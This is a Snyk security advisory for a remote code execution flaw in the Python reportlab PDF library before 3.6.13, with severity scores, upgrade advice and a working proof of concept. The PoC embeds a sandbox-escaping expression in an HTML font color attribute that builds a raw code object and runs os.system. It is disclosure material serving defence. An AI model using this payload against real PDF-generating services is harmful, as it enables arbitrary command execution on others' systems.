Remote Code Execution (RCE) Affecting reportlab package, versions [,3.6.13)


0.0
high

Snyk CVSS

    Attack Complexity Low
    User Interaction Required
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.07% (28th percentile)
Expand this section
NVD
7.8 high
Expand this section
SUSE
9.8 critical
Expand this section
Red Hat
7.8 high

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-REPORTLAB-5664897
  • published 2 Jun 2023
  • disclosed 2 Jun 2023
  • credit Elyas Damej

How to fix?

Upgrade reportlab to version 3.6.13 or higher.

Overview

reportlab is a Python library for generating PDFs and graphics.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to insufficient checks in the ‘rl_safe_eval’ function. Attackers can inject malicious code into an HTML file that will later be converted to PDF using software that relies on the ReportLab library. To exploit the vulnerability, the entire malicious code must be executed with eval in a single expression.

Note:

This exploit is possible only if users allow hostile input to be passed into colors - for example if accepting the URL of an HTML page someone else had written, with a generic conversion routine.

PoC

from reportlab.platypus import SimpleDocTemplate, Paragraph
from io import BytesIO
stream_file = BytesIO()
content = []

def add_paragraph(text, content):
    """ Add paragraph to document content"""
    content.append(Paragraph(text))

def get_document_template(stream_file: BytesIO):
    """ Get SimpleDocTemplate """
    return SimpleDocTemplate(stream_file)

def build_document(document, content, **props):
    """ Build pdf document based on elements added in `content`"""
    document.build(content, **props)



doc = get_document_template(stream_file)
#
# THE INJECTED PYTHON CODE THAT IS PASSED TO THE COLOR EVALUATOR
#[
#    [
#        [
#             [
#                 ftype(ctype(0, 0, 0, 0, 3, 67, b't\x00d\x01\x83\x01\xa0\x01d\x02\xa1\x01\x01\x00d\x00S\x00',
#                       (None, 'os', 'touch /tmp/exploited'), ('__import__', 'system'), (), '<stdin>', '', 1, b'\x12\x01'), {})()
#                 for ftype in [type(lambda: None)]
#             ]
#             for ctype in [type(getattr(lambda: {None}, Word('__code__')))]
#        ]
#        for Word in [orgTypeFun('Word', (str,), {
#            'mutated': 1,
#            'startswith': lambda self, x: False,
#            '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x,
#            'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
#            '__hash__': lambda self: hash(str(self))
#        })]
#    ]
#    for orgTypeFun in [type(type(1))]
#]

add_paragraph("""
            <para>
              <font color="[ [ [ [ ftype(ctype(0, 0, 0, 0, 3, 67, b't\\x00d\\x01\\x83\\x01\\xa0\\x01d\\x02\\xa1\\x01\\x01\\x00d\\x00S\\x00', (None, 'os', 'touch /tmp/exploited'), ('__import__', 'system'), (), '<stdin>', '', 1, b'\\x12\\x01'), {})() for ftype in [type(lambda: None)] ] for ctype in [type(getattr(lambda: {None}, Word('__code__')))] ] for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))]] and 'red'">
                exploit
                </font>
            </para>""", content)
build_document(doc, content)

References